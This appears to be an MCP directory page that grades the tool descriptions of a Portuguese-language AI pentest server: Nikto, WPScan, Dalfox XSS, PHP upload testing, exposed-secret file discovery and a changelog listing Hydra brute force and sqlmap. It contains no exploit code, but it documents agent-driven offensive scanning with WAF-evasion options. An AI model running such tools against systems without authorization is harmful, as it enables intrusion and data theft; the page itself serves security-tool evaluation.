Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool analyzes SSL/TLS configuration using testssl.sh, specifying the target context (port 443 or HTTPS service). It distinguishes from siblings by focusing on SSL/TLS analysis rather than general scanning, though it doesn't name specific alternatives.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

It provides a specific trigger condition (when Nmap identifies port 443 or another HTTPS service) and lists detected vulnerability categories. However, it doesn't explicitly state when NOT to use it or mention alternatives like scan_nuclei for web vulnerabilities, but the context is clear enough for an agent to decide.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_vulnerabilidades_niktoA

Executa varredura de vulnerabilidades web usando Nikto. Use quando o Nmap identificar portas HTTP/HTTPS abertas.

Detecta: arquivos sensíveis expostos, cabeçalhos ausentes, métodos HTTP perigosos, versões desatualizadas, vetores XSS/injeção, SSL/TLS fraco.

ParametersJSON Schema
NameRequiredDescriptionDefault
evasionNoTrue = User-Agent de browser + pause 2s entre testes.
target_urlYesURL completa. Ex: "http://192.168.1.10", "https://app.local:8443"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.8/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Annotations are not provided, so the description carries full burden for behavioral disclosure. It does not state whether the scan is read‑only, whether it could affect the target (e.g., DDoS risk, network load), how long it might take, or whether credentials are needed. The description only lists detection capabilities, leaving the agent unaware of potential side effects or prerequisites.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is succinct (~60 words), front-loaded with the main action and tool name, followed by a usage condition, and then a bulleted list of detections. Every sentence serves a purpose, and there is no redundancy.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (a comprehensive web scanner) and the presence of an output schema, the description covers the essential what and when. However, it does not mention how results are surfaced (e.g., saved findings for later retrieval via listar_findings), which would be helpful for workflow orchestration. Still, for a scanning tool, it is sufficiently complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%: both target_url and evasion have clear descriptions with examples. The tool description adds no extra parameter context (e.g., formats, constraints) beyond what the schema already provides, so it meets the baseline for high coverage.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states it executes a web vulnerability scan using Nikto, naming the specific tool and its purpose. It also enumerates detection categories (sensitive files, missing headers, dangerous HTTP methods, outdated versions, XSS/injection vectors, weak SSL/TLS), which distinguishes it from sibling scanners like scan_nuclei or scan_sql_injection_sqlmap.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

It explicitly tells when to use: 'Use quando o Nmap identificar portas HTTP/HTTPS abertas.' This provides a clear trigger condition based on Nmap findings. While it doesn't name alternative tools for when not to use, the condition is specific enough to guide the agent.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_wordpress_wpscanA

Executa auditoria completa de WordPress usando WPScan. Use quando identificar um site WordPress (wp-login.php, wp-content/ no Gobuster/Nikto).

Detecta: plugins e temas vulneráveis, usuários enumerados, senhas fracas, xmlrpc habilitado, configurações inseguras, backups expostos.

ParametersJSON Schema
NameRequiredDescriptionDefault
enumerateNoO que enumerar. Padrão: "vp,vt,u" (plugins vulneráveis, temas, usuários). Opções: "vp" plugins vuln, "ap" todos plugins, "vt" temas vuln, "at" todos temas, "u" usuários, "cb" config backups, "dbe" DB exportsvp,vt,u
aggressiveNoTrue = modo agressivo (mais detalhado, mais lento e ruidoso).
target_urlYesURL do WordPress. Ex: "http://192.168.1.10", "http://vulnwp-app:8080"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It lists detection capabilities but does not disclose potential side effects (e.g., active scanning noise, brute-force behavior, need for an API token for full plugin database). The aggressive parameter hints at noise in the schema, but the description itself lacks behavioral depth.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences: first states the purpose, second gives the usage trigger. The detection list is compact and informative. No redundant text or boilerplate; every sentence earns its place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

With full parameter schema coverage and an output schema present, the description provides enough context for selecting and starting a scan. It could mention that output formatting is structured (output schema) but the existing schema already handles that. Overall adequate for this tool's complexity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%: all three parameters (enumerate, aggressive, target_url) have detailed descriptions. The tool description adds no extra parameter semantics beyond the schema, so the baseline of 3 applies.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific action ('Executa auditoria completa de WordPress') using a named tool (WPScan) and enumerates the key detection categories (plugins/themes, users, weak passwords, xmlrpc, backups). This clearly distinguishes it from sibling scanners like scan_nuclei or scan_xmlrpc_wordpress, which target broader or narrower scopes.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Provides explicit when-to-use guidance: 'Use quando identificar um site WordPress' with concrete indicators (wp-login.php, wp-content/ no Gobuster/Nikto). It does not explicitly list exclusions or alternatives, but the trigger condition is clear and actionable.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_xmlrpc_wordpressB

Testa o endpoint xmlrpc.php do WordPress para vetores de ataque. Use quando WPScan ou Nikto reportar xmlrpc.php acessível.

ParametersJSON Schema
NameRequiredDescriptionDefault
target_urlYesURL base do WordPress. Ex: "http://192.168.1.10:8080"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

B3.4/5.0
Behavior1/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, and the description gives no information about side effects, permissions, or whether the tool is read-only or potentially destructive. The description is silent on what actions it performs beyond testing attack vectors, leaving the tool's behavior opaque.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise, consisting of two short sentences that clearly convey the purpose and usage condition. It does not include extraneous information, and the structure is direct and easy to scan.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description provides enough context for when to use the tool (based on reports from WPScan/Nikto) and what it does, but it lacks information on the expected output or any side effects. Since no output schema is given, the user does not know what the tool returns, and there is no mention of prerequisites or post-conditions. This leaves some gaps for complete understanding.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters2/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema provides a description for target_url with an example, but it does not clarify whether the URL should include the full path to xmlrpc.php or just the base URL. The example shows a base URL without a path, but the tool name suggests the endpoint is fixed. The description lacks details on required format or constraints, making it ambiguous.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states that the tool tests the WordPress xmlrpc.php endpoint for attack vectors, which is specific and distinguishes it from sibling tools that scan other aspects. The verb 'testa' and the object 'xmlrpc.php' make the purpose unambiguous.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly states when to use the tool: 'Use quando WPScan ou Nikto reportar xmlrpc.php acessível.' This provides a concrete trigger condition and implies it is a follow-up to those tools. It does not explicitly state when not to use it, but the condition is clear enough to guide usage.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_xss_dalfoxA

Testa Cross-Site Scripting (XSS) usando Dalfox. Use quando a URL contiver parâmetros GET ou o Katana descobrir formulários.

Detecta: Reflected XSS, DOM XSS, bypass de filtros WAF.

ParametersJSON Schema
NameRequiredDescriptionDefault
target_urlYesURL com parâmetros. Ex: "http://app.local/search?q=test"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the burden. It mentions the tool uses Dalfox and detects specific XSS types, but does not disclose potential side effects, rate limits, or whether it is a read-only operation. It does not contradict any annotations since none exist.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise, with three short sentences that are front-loaded with the purpose and usage. No unnecessary information.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is relatively simple with one parameter and an output schema. The description covers the purpose, usage context, and detection types. It could mention what the output looks like, but the output schema exists, so the description need not explain return values. Overall, it is complete for the tool's complexity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema description coverage is 100% for the single parameter, and the description adds an example of the expected format. The description does not add much beyond the schema, but the schema is already clear. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool tests for Cross-Site Scripting (XSS) using Dalfox, a specific tool. It also lists the types of XSS detected (Reflected, DOM, WAF bypass), which distinguishes it from other scanning tools in the sibling list like SQL injection or port scanning.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides clear guidance on when to use the tool: when the URL contains GET parameters or when Katana discovers forms. It does not explicitly mention when not to use it or alternatives, but the context is clear enough for an agent to decide.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

screenshot_gowitnessA

Captura screenshot da aplicação web para documentar evidências usando Gowitness. Screenshots salvos em /tmp/gowitness/ dentro do container.

ParametersJSON Schema
NameRequiredDescriptionDefault
target_urlYesURL a capturar. Ex: "http://192.168.1.10/admin"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden. It discloses the output location (/tmp/gowitness/) and the underlying tool, which goes beyond the schema. However, it does not mention any potential side effects, authorization requirements, or failure conditions, so it could be richer. Still, it provides useful behavioral context.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two brief sentences, front-loaded with the main action and then the output location. No wasted words, clear and efficient.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is simple with one parameter and an output schema, so the description does not need to explain return values. It covers the essential context: what it does, the tool used, and where outputs are saved. It lacks notes on prerequisites or error conditions but is largely complete for its scope.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100% for the single parameter, and the description's mention of 'URL a capturar' aligns closely with the schema's own description. The description adds minimal extra meaning beyond the schema, so the baseline of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the action (captures screenshot), the resource (web application), the tool (Gowitness), and the purpose (document evidence). It is specific and distinct from sibling tools, which focus on scanning or enumeration rather than screenshotting.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage for documenting evidence but does not explicitly provide when-to-use vs. when-not-to-use guidance or mention alternatives. It lacks explicit contextual boundaries, though the purpose is fairly explicit for its straightforward function.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

testar_upload_arquivoA

Verifica vulnerabilidade de upload irrestrito de arquivos (CWE-434). Envia um arquivo PHP de prova-de-conceito inócuo e verifica se é executável.

ATENÇÃO: Cria um arquivo PHP sem comandos destrutivos no servidor de teste. Use somente em ambientes autorizados.

ParametersJSON Schema
NameRequiredDescriptionDefault
field_nameNoNome do campo <input type="file"> no formulário. Padrão: "file"file
upload_urlYesURL do endpoint de upload. Ex: "http://192.168.1.10/wp-content/plugins/vuln-plugin/upload.php"
upload_path_hintNoCaminho base onde o servidor salva uploads. Ex: "/wp-content/uploads/", "/uploads/", "/files/"/wp-content/uploads/

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4.2/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries the full burden. It transparently discloses that the tool creates a PHP file on the target server, notes that it is innocuous and non-destructive, and explicitly warns about authorization. This goes beyond the minimal requirement and adds context about the tool's side effects, though it does not detail response handling (covered by output schema).

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise and front-loaded: the purpose is stated in the first sentence, the method in the second, and a crucial warning appended. No fluff or redundant information. It is well-structured for quick comprehension.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description covers the essential context: vulnerability identification, method, authorization requirement, and safety of the proof-of-concept. While it does not explain the output format, an output schema exists, and the description is complete for an agent to understand when and how to invoke the tool correctly.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema has 100% description coverage for all three parameters, each with clear descriptions and examples. The tool description adds no additional parameter semantics beyond the schema, so the baseline score of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: verifying unrestricted file upload vulnerability (CWE-434), and specifies the method (sends an innocuous PHP proof-of-concept file and checks executability). It distinguishes from sibling security scan tools by naming the specific vulnerability type and technique.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides an explicit caution to use only in authorized environments, which is a key usage guideline. It implies the tool is for security testing of file upload endpoints, but does not explicitly mention alternatives or when not to use it. This is clear enough given the specialized nature.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

verificar_alvo_onlineA

Verifica se o alvo responde via ping antes de iniciar qualquer scan. Use como primeira verificação para evitar scans desnecessários.

ParametersJSON Schema
NameRequiredDescriptionDefault
targetYesIP ou hostname. Ex: "192.168.1.10", "app.exemplo.com"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4.6/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It discloses that the tool performs a ping check and implies it is a read-only operation that does not cause harm (no destructive behavior). It also indicates that it helps avoid unnecessary scans, which is additional context beyond a simple schema. However, it doesn't specify details like timeout, protocol (ICMP vs TCP), or what happens if the target doesn't respond, but for a simple ping, the coverage is decent.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is only two sentences, concise and front-loaded. It clearly states the purpose and use case without any fluff. All sentences earn their place.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given its simplicity (one parameter, no nested objects, has an output schema), the description is complete enough. It explains when to use it, what it does, and the purpose. However, it doesn't mention the output format or what a successful/unsuccessful ping means, but the output schema likely covers that. The context signals indicate an output schema exists, which reduces the burden on the description. Overall complete for a simple tool.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% as the description of the parameter is included in the schema. The description adds minimal extra meaning beyond the schema, but since the schema already provides a clear example and format, the description's added value is low. The baseline for high schema coverage is 3, but the description slightly enhances by indicating the purpose of the parameter (the target to ping). However, it doesn't go beyond what the schema offers, so a 4 is generous; I'll stick with 4 as it meets the baseline and adds a tiny bit.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: 'Verifica se o alvo responde via ping' (Checks if the target responds via ping) before starting any scan. It specifies the verb and resource ('ping'), and it distinguishes itself from sibling tools by emphasizing it's a preliminary check to avoid unnecessary scans.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly says to use it as the first verification before any scan: 'Use como primeira verificação para evitar scans desnecessários.' It provides clear context for when to use this tool versus diving directly into other scanning tools. However, it does not explicitly list alternatives or when not to use it, but the guidance is sufficient.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

verificar_arquivos_expostosA

Verifica exposição de arquivos e diretórios sensíveis usando Gobuster com wordlist dedicada.

Detecta: .env, wp-config.php.bak, phpinfo.php, backup.zip, .git/, debug.log, composer.json, secrets.yml, database.sql, e dezenas de outros arquivos críticos. Use logo após o Gobuster padrão para cobertura específica de leaks.

ParametersJSON Schema
NameRequiredDescriptionDefault
evasionNoTrue = 3 threads + delay 500ms + User-Agent real. Use em sites com WAF.
target_urlYesURL base do alvo. Ex: "http://192.168.1.10", "http://vulnwp-app:8080"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A4/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the transparency burden. It does disclose that the tool runs Gobuster with a dedicated wordlist and focuses on leak detection, which implies active HTTP probing. However, it omits operational details such as request volume, potential WAF interaction, or any access requirements, so transparency is only partially addressed.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is front-loaded with a clear purpose sentence, followed by concrete detection examples and a practical usage note. Every sentence adds value and there is no filler or repetition.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description is sufficient for a moderately complex tool: it explains the purpose, the wordlist focus, specific file types, and where it fits in the scan workflow. Since an output schema exists, return-value details are not required, though a brief note on prerequisites or limitations would have made it fully complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the input schema already documents target_url and evasion with useful examples. The tool description does not add parameter-level meaning beyond what the schema provides, which matches the baseline for high schema coverage.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific verb ('Verifica exposição'), a concrete resource ('arquivos e diretórios sensíveis'), and the technique ('Gobuster com wordlist dedicada'). The phrase 'Use logo após o Gobuster padrão para cobertura específica de leaks' differentiates it from the sibling scan_diretorios_gobuster and other scan tools.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives clear usage context: 'Use logo após o Gobuster padrão para cobertura específica de leaks.' This tells the agent when to run it, but it does not explicitly state when not to use it or name alternative tools beyond the standard Gobuster scan.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

verificar_headers_segurancaA

Analisa headers de segurança HTTP e flags de cookies do alvo. Retorna análise estruturada: headers presentes, ausentes ou misconfigurados, com severidade (high/medium/low) para cada achado.

Verifica: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security, Referrer-Policy, Permissions-Policy, CORS (Access-Control-Allow-Origin), cookies (HttpOnly, Secure, SameSite).

ParametersJSON Schema
NameRequiredDescriptionDefault
target_urlYesURL do alvo. Ex: "http://192.168.1.10", "https://app.local"

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.9/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must convey behavior. It describes analyzing and returning a structured report but does not mention side effects, authentication needs, or rate limits.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise, with two clear sentences detailing the purpose and scope without any fluff.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description provides sufficient context, including the output format and severity levels, making it complete for its intended use.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema already fully describes target_url, and the tool description does not add extra meaning beyond what is provided, so it remains at baseline.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states it analyzes HTTP security headers and cookie flags, listing the specific headers checked, which distinguishes it from other scanning tools.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage for security header assessment but does not explicitly state when to use or avoid this tool, nor does it mention alternatives.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 25 tool updatesv0.1.0
    • First observedbrute_force_hydra
    • First observedcrawl_aplicacao_katana
    • First observedenum_subdominios_subfinder
    • First observedenumerar_banco_mysql
    • First observedfazer_requisicao_http
    • First observedgerar_relatorio
    • First observedgerenciar_allowlist
    • First observedlistar_findings
    • First observedpentest_completo
    • First observedretomar_sessao
    • First observedscan_diretorios_gobuster
    • First observedscan_fuzzing_ffuf
    • First observedscan_nuclei
    • First observedscan_portas_nmap
    • First observedscan_sql_injection_sqlmap
    • First observedscan_ssl_testssl
    • First observedscan_vulnerabilidades_nikto
    • First observedscan_wordpress_wpscan
    • First observedscan_xmlrpc_wordpress
    • First observedscan_xss_dalfox
    • First observedscreenshot_gowitness
    • First observedtestar_upload_arquivo
    • First observedverificar_alvo_online
    • First observedverificar_arquivos_expostos
    • First observedverificar_headers_seguranca

TDQS

A3.6/5.0

Scored across 25 tools

Disambiguation4/5

Most tools are clearly differentiated by scanner/tool name (nmap, subfinder, nikto, sqlmap, etc.) and phase (recon, scanning, evidence). The main confusion points are scan_diretorios_gobuster vs scan_fuzzing_ffuf and scan_vulnerabilidades_nikto vs scan_nuclei, but descriptions state when each should be used.

Naming Consistency4/5

All names use lowercase snake_case and generally follow an action_object_tool pattern (scan_portas_nmap, enum_subdominios_subfinder). The main inconsistency is the scan_ prefix appearing on some tools but not on other action-first names like brute_force_hydra, screenshot_gowitness, or fazer_requisicao_http.

Tool Count3/5

25 tools is at the threshold where the set starts to feel heavy. While a pentest suite justifies many specialized scanners, several tools overlap in function (directory enumeration, generic web vulnerability scanning), so the count is not as lean as it could be.

Completeness4/5

The set covers the full lifecycle from authorization and recon through scanning, evidence collection, findings listing, and report generation, plus session resume. Minor gaps exist around triage/management of findings (no update/delete or false-positive marking), but core pentest workflows are well covered.

Maintenance

ActivityMaintained
ResponsivenessNo issues

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Connectors

Related MCP Servers

  • -
    license
    Not graded
    quality
    Not graded
    maintenance
    A Kali Linux-based MCP server that exposes over 45 penetration testing tools for AI-assisted security auditing and vulnerability scanning. It features strict scope enforcement, structured output parsing, and persistent finding storage to automate the offensive security workflow.
    -
  • F
    license
    Not graded
    quality
    C
    maintenance
    A penetration testing MCP server that runs 20 hacking tools inside a Kali Linux Docker container, enabling AI assistants to execute security scans and attacks via natural language.
    2
    -
  • F
    license
    Not graded
    quality
    B
    maintenance
    A Docker-based MCP server exposing a curated set of Kali Linux security tools for authorized, hands-on network scanning on private ranges, with enforced trustworthiness and honest output.
    -